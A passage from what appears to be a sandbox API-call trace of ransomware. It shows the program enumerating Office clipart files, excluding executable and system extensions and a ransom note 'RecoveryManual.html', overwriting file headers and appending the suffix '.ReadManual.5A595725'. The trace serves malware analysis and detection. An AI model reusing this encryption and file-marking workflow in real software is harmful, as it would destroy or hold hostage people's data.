office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0266.775] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.775] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7948) returned 1 [0266.775] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f0c, lpName=0x0) returned 0x184 [0266.775] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.776] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.776] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.777] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.777] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1f0c) returned 0x2f0000 [0266.778] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.778] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38744641490) returned 1 [0266.778] CloseHandle (hObject=0x184) returned 1 [0266.778] SetSecurityInfo () returned 0x57 [0266.778] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.778] CloseHandle (hObject=0x194) returned 1 [0266.778] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0266.778] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107528.WMF" | out: lpString1="J0107528.WMF") returned="J0107528.WMF" [0266.778] lstrcmpiW (lpString1="J0107528.WMF", lpString2="RecoveryManual.html") returned -1 [0266.778] StrStrIW (lpFirst="J0107528.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.778] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.778] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.779] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" [0266.779] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ReadManual.5A595725" [0266.779] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.ReadManual.5A595725") returned 87 [0266.779] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38744739771) returned 1 [0266.779] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0266.779] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.779] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=6792) returned 1 [0266.779] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a88, lpName=0x0) returned 0x184 [0266.779] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.780] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.780] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.782] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.782] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1a88) returned 0x2f0000 [0266.782] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.782] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38745125793) returned 1 [0266.783] CloseHandle (hObject=0x184) returned 1 [0266.783] SetSecurityInfo () returned 0x57 [0266.783] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.783] CloseHandle (hObject=0x194) returned 1 [0266.786] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0266.786] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107544.WMF" | out: lpString1="J0107544.WMF") returned="J0107544.WMF" [0266.786] lstrcmpiW (lpString1="J0107544.WMF", lpString2="RecoveryManual.html") returned -1 [0266.786] StrStrIW (lpFirst="J0107544.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.786] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.786] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.786] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.786] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.787] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.787] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" [0266.787] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ReadManual.5A595725" [0266.787] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.ReadManual.5A595725") returned 87 [0266.787] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38745573516) returned 1 [0266.787] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0266.787] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.787] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=26768) returned 1 [0266.787] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6890, lpName=0x0) returned 0x184 [0266.788] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.788] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.788] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.790] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.790] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6890) returned 0x2f0000 [0266.791] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.791] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38745959569) returned 1 [0266.791] CloseHandle (hObject=0x184) returned 1 [0266.791] SetSecurityInfo () returned 0x57 [0266.791] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.791] CloseHandle (hObject=0x194) returned 1 [0266.791] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0266.791] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107658.WMF" | out: lpString1="J0107658.WMF") returned="J0107658.WMF" [0266.791] lstrcmpiW (lpString1="J0107658.WMF", lpString2="RecoveryManual.html") returned -1 [0266.791] StrStrIW (lpFirst="J0107658.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.791] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.791] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.792] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.792] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" [0266.792] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ReadManual.5A595725" [0266.792] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.ReadManual.5A595725") returned 87 [0266.792] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38746059452) returned 1 [0266.792] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf")) returned 0x20 [0266.792] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.792] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=7072) returned 1 [0266.792] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1ba0, lpName=0x0) returned 0x184 [0266.793] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.793] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.793] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.795] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.795] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1ba0) returned 0x2f0000 [0266.795] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.795] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38746395747) returned 1 [0266.795] CloseHandle (hObject=0x184) returned 1 [0266.795] SetSecurityInfo () returned 0x57 [0266.795] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.795] CloseHandle (hObject=0x194) returned 1 [0266.796] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0266.796] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107708.WMF" | out: lpString1="J0107708.WMF") returned="J0107708.WMF" [0266.796] lstrcmpiW (lpString1="J0107708.WMF", lpString2="RecoveryManual.html") returned -1 [0266.796] StrStrIW (lpFirst="J0107708.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.796] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.796] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.796] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" [0266.796] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ReadManual.5A595725" [0266.796] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.ReadManual.5A595725") returned 87 [0266.796] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38746496176) returned 1 [0266.796] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf")) returned 0x20 [0266.797] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.797] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4808) returned 1 [0266.798] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12c8, lpName=0x0) returned 0x184 [0266.798] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.798] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.798] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.800] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.800] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12c8) returned 0x2f0000 [0266.800] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.800] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38746918320) returned 1 [0266.800] CloseHandle (hObject=0x184) returned 1 [0266.801] SetSecurityInfo () returned 0x57 [0266.801] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.801] CloseHandle (hObject=0x194) returned 1 [0266.801] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0266.801] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107712.WMF" | out: lpString1="J0107712.WMF") returned="J0107712.WMF" [0266.801] lstrcmpiW (lpString1="J0107712.WMF", lpString2="RecoveryManual.html") returned -1 [0266.801] StrStrIW (lpFirst="J0107712.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.801] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.801] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.801] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" [0266.801] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ReadManual.5A595725" [0266.801] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF.ReadManual.5A595725") returned 87 [0266.801] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38747018897) returned 1 [0266.801] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf")) returned 0x20 [0266.802] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.802] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4636) returned 1 [0266.802] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x121c, lpName=0x0) returned 0x184 [0266.802] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.803] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.803] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.804] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.804] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x121c) returned 0x2f0000 [0266.805] UnmapViewOfFile 